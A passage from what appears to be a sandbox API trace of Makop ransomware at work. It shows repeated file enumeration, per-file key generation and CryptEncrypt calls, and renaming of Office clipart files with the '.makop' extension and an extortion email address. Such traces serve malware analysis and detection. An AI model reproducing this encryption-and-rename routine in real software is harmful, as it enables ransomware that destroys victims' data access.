lpNumberOfBytesWritten=0x6577aa8*=0x13f0, lpOverlapped=0x0) returned 1 [0132.760] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.760] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.761] SetEndOfFile (hFile=0xf0) returned 1 [0132.767] GetProcessHeap () returned 0x48a0000 [0132.767] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.767] GetProcessHeap () returned 0x48a0000 [0132.767] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.767] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.767] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.769] CloseHandle (hObject=0xf0) returned 1 [0132.769] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239975.WMF", cAlternateFileName="")) returned 1 [0132.769] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF") returned 63 [0132.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.770] GetProcessHeap () returned 0x48a0000 [0132.770] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.771] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.771] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.771] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.771] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.771] GetProcessHeap () returned 0x48a0000 [0132.771] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.771] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.771] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.771] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.776] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.776] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.776] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.776] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.777] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.777] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.777] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.777] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xda0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xda0, lpOverlapped=0x0) returned 1 [0132.777] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xda0, dwBufLen=0xda0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xda0) returned 1 [0132.777] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.777] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xda0, lpOverlapped=0x0) returned 1 [0132.777] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.778] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.778] SetEndOfFile (hFile=0xf0) returned 1 [0132.785] GetProcessHeap () returned 0x48a0000 [0132.785] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.785] GetProcessHeap () returned 0x48a0000 [0132.785] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.785] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.787] CloseHandle (hObject=0xf0) returned 1 [0132.787] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239997.WMF", cAlternateFileName="")) returned 1 [0132.787] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF") returned 63 [0132.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.788] GetProcessHeap () returned 0x48a0000 [0132.788] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.788] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.789] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.789] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.793] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.793] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.793] GetProcessHeap () returned 0x48a0000 [0132.793] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.793] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.793] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.794] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.794] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.794] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.794] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.795] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.795] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.795] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.795] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.795] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcd8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xcd8, lpOverlapped=0x0) returned 1 [0132.795] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xce0, dwBufLen=0xce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xce0) returned 1 [0132.795] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.795] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xce0, lpOverlapped=0x0) returned 1 [0132.796] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.796] SetEndOfFile (hFile=0xf0) returned 1 [0132.803] GetProcessHeap () returned 0x48a0000 [0132.803] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.803] GetProcessHeap () returned 0x48a0000 [0132.803] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.803] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.805] CloseHandle (hObject=0xf0) returned 1 [0132.805] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240157.WMF", cAlternateFileName="")) returned 1 [0132.805] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF") returned 63 [0132.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.808] GetProcessHeap () returned 0x48a0000 [0132.808] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.808] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.808] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.808] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.813] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.813] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.813] GetProcessHeap () returned 0x48a0000 [0132.813] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.813] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.813] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.813] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.814] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.814] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.814] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.814] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.815] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.815] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.815] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.815] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1df8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1df8, lpOverlapped=0x0) returned 1 [0132.818] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e00, dwBufLen=0x1e00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e00) returned 1 [0132.818] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.818] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e00, lpOverlapped=0x0) returned 1 [0132.818] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.819] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.819] SetEndOfFile (hFile=0xf0) returned 1 [0132.825] GetProcessHeap () returned 0x48a0000 [0132.825] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.826] GetProcessHeap () returned 0x48a0000 [0132.826] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.826] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.827] CloseHandle (hObject=0xf0) returned 1 [0132.827] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240175.WMF", cAlternateFileName="")) returned 1 [0132.827] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF") returned 63 [0132.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.828] GetProcessHeap () returned 0x48a0000 [0132.828] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.828] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.829] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.829] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.829] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.829] GetProcessHeap () returned 0x48a0000 [0132.829] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.829] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.829] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.829] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.836] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.836] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.836] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.836] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.837] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.837] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.837] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.837] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa410, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa410, lpOverlapped=0x0) returned 1 [0132.839] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa410, dwBufLen=0xa410 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa410) returned 1 [0132.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, 